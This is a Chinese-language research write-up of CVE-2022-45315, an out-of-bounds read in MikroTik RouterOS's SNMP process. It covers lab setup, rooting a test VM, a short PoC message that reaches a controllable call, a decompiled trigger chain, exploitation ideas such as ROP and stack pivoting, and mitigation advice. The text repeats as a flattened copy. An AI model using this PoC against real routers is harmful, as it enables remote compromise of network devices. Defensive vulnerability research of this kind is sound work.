CVE-2022-45315 RouterOS SNMP 越界读漏洞研究
字数 1580 2025-08-20 18:17:07

MikroTik RouterOS SNMP 越界读漏洞研究 (CVE-2022-45315)

漏洞概述

漏洞编号: CVE-2022-45315
影响版本: MikroTik RouterOS 稳定版 v7.6 之前的所有版本
漏洞类型: 越界读漏洞
影响组件: /nova/bin/snmp 进程
潜在危害: 认证后远程代码执行 (RCE)
CVSS评分: 待补充 (需参考NVD官方数据)

前置知识

RouterOS 通信机制

RouterOS 提供多种交互方式:

  1. JS交互: 通过HTTP协议(80端口),由www进程处理请求并转发
  2. Winbox交互: 通过8291端口,由mproxy进程处理请求并转发

Nova Message 格式

RouterOS使用自定义的Nova Message格式进行进程间通信,格式为Type Key-Value Pairs。

类型(Type)示例:

  • b: bool
  • u: 32bit integer
  • q: 64bit integer
  • s: string
  • r: raw
  • a: IPv6
  • m: message
  • B: bool array
  • U: 32bit integer array
  • Q: 64bit integer array
  • S: string array
  • R: raw array
  • A: IPv6 array
  • M: message array

Key结构:

  • 格式: 0xGGVVVV
    • GG: 命令组
    • VVVV: 值
  • 常见命令组:
    • 0xFF: SYS
    • 0xFE: STD
    • 0xFD: LOCAL
    • 0x01: NET
    • 0x02: MODULER
    • ...(其他组略)

进程管理

RouterOS启动流程:

  1. init启动loader
  2. loader启动并管理其他进程
  3. 子进程信息存储在/nova/etc/loader/system.x3

环境搭建

实验环境

  • MikroTik RouterOS 7.1.1
  • 推荐使用VMware Workstation模拟
    • 注意: 开启Hyper-V可能导致VMware运行问题

常用指令

# 查看网卡
interface print

# 配置动态IP
ip dhcp-client add interface=ether1 disable=no

# 查看网络信息
ip dhcp-client print detail

# 查看授权
system licens print

# 关机/重启
system shutdown
system reboot

# 重置系统
system reset

启用SNMP服务

# 开启SNMP
snmp set enabled=yes

# 查看SNMP团体信息
snmp community/print

# 添加新团体
snmp community add name=VegetaRocks

# 设置联系信息
snmp set contact="Contact info"
snmp set location="Location"

# 查看SNMP配置
snmp print

获取Root Shell

使用execute_milo方法获取root权限:

  1. 下载工具:

    git clone https://github.com/tenable/routeros.git
    sudo apt install libboost-all-dev cmake libboost-dev
    
  2. 上传必要文件到RouterOS:

    python mftp.py -u <uname> -p <pwd> --ip <ip> -o put \
      -f vm_bins/busybox vm_bins/milo vm_bins/gdb
    
  3. 使用LiveCD修改权限:

    sudo su
    cd rw/disk/
    chmod +x busybox
    chmod +x gdb
    chmod 755 milo
    mv milo ../../bin/milo
    ln -s /rw/disk/busybox ash
    exit
    
  4. 编译并执行execute_milo:

    ./execute_milo -i <ip> -p <port> -u <username> --password <password>
    
  5. 通过telnet连接:

    telnet <target ip> 1270
    

漏洞触发与分析

漏洞触发PoC

char payload[513];
memset(payload, 'a', sizeof(char) * 512);

WinboxMessage msg;
msg.set_to(34, 0x1);          // 目标为snmp进程
msg.set_command(0xfe0005);     // 添加对象命令
msg.add_u32(0x14, 0xfffffffe); // 可控的u32值
msg.add_string(0x5, payload); // 长字符串
msg.set_request_id(1);        // 请求ID

对应JSON结构:

{
  "u14": 0xfffffffe,
  "uff0006": 1,
  "uff0007": 0xfe0005,
  "s5": "'a'*512",
  "Uff0001": [34,1]
}

漏洞分析

漏洞触发链:

  1. Item::setConfig:

    *((_DWORD *)this + 6) = nv::message::get<nv::u32_id>(message, 20);
    
    • 通过u14:0xfffffffe控制*((_DWORD *)this + 6)的值
  2. Item::regenerateKeys:

    v1 = 28 * *((_DWORD *)this + 6);  // 可控的计算
    v11 = (char *)&unk_80859C0 + v1;   // 可控的指针运算
    tree_base::insert_unique(&v13, v11, v7, &v18, map_node_move_constr<string,vector<unsigned char>>);
    
  3. tree_base::insert_unique:

    if ((unsigned __int8)sub_7BA4((int)a2, a2[3] + a2[5], a4))
    
  4. sub_7BA4:

    call    dword ptr [eax+10h]  // 崩溃点,执行可控地址
    

漏洞利用思路

虽然可以控制执行流,但存在以下限制:

  1. 只能控制call [eax+10h]的地址
  2. 其他参数不可控

可能的利用方式:

  1. 寻找合适的ROP链
  2. 通过栈迁移技术将控制流转移到可控的输入区域
  3. 利用RouterOS中丰富的RPC通信函数构造完整攻击链

修复建议

  1. 升级到RouterOS v7.6或更高版本
  2. 在无法升级的情况下,禁用SNMP服务
    snmp set enabled=no
    

参考资料

  1. CVE-2022-45315 Detail (nvd.nist.gov)
  2. cq674350529/pocs_slides (github.com)
  3. tenable/routeros (github.com)
  4. Pulling MikroTik into the Limelight (margin.re)
  5. MarginResearch/resources (github.com)
MikroTik RouterOS SNMP 越界读漏洞研究 (CVE-2022-45315) 漏洞概述 漏洞编号 : CVE-2022-45315 影响版本 : MikroTik RouterOS 稳定版 v7.6 之前的所有版本 漏洞类型 : 越界读漏洞 影响组件 : /nova/bin/snmp 进程 潜在危害 : 认证后远程代码执行 (RCE) CVSS评分 : 待补充 (需参考NVD官方数据) 前置知识 RouterOS 通信机制 RouterOS 提供多种交互方式: JS交互 : 通过HTTP协议(80端口),由 www 进程处理请求并转发 Winbox交互 : 通过8291端口,由 mproxy 进程处理请求并转发 Nova Message 格式 RouterOS使用自定义的Nova Message格式进行进程间通信,格式为Type Key-Value Pairs。 类型(Type)示例 : b : bool u : 32bit integer q : 64bit integer s : string r : raw a : IPv6 m : message B : bool array U : 32bit integer array Q : 64bit integer array S : string array R : raw array A : IPv6 array M : message array Key结构 : 格式: 0xGGVVVV GG : 命令组 VVVV : 值 常见命令组: 0xFF : SYS 0xFE : STD 0xFD : LOCAL 0x01 : NET 0x02 : MODULER ...(其他组略) 进程管理 RouterOS启动流程: init 启动 loader loader 启动并管理其他进程 子进程信息存储在 /nova/etc/loader/system.x3 中 环境搭建 实验环境 MikroTik RouterOS 7.1.1 推荐使用VMware Workstation模拟 注意 : 开启Hyper-V可能导致VMware运行问题 常用指令 启用SNMP服务 获取Root Shell 使用 execute_milo 方法获取root权限: 下载工具: 上传必要文件到RouterOS: 使用LiveCD修改权限: 编译并执行 execute_milo : 通过telnet连接: 漏洞触发与分析 漏洞触发PoC 对应JSON结构: 漏洞分析 漏洞触发链: Item::setConfig : 通过 u14:0xfffffffe 控制 *((_DWORD *)this + 6) 的值 Item::regenerateKeys : tree_ base::insert_ unique : sub_ 7BA4 : 漏洞利用思路 虽然可以控制执行流,但存在以下限制: 只能控制 call [eax+10h] 的地址 其他参数不可控 可能的利用方式 : 寻找合适的ROP链 通过栈迁移技术将控制流转移到可控的输入区域 利用RouterOS中丰富的RPC通信函数构造完整攻击链 修复建议 升级到RouterOS v7.6或更高版本 在无法升级的情况下,禁用SNMP服务 参考资料 CVE-2022-45315 Detail (nvd.nist.gov) cq674350529/pocs_ slides (github.com) tenable/routeros (github.com) Pulling MikroTik into the Limelight (margin.re) MarginResearch/resources (github.com)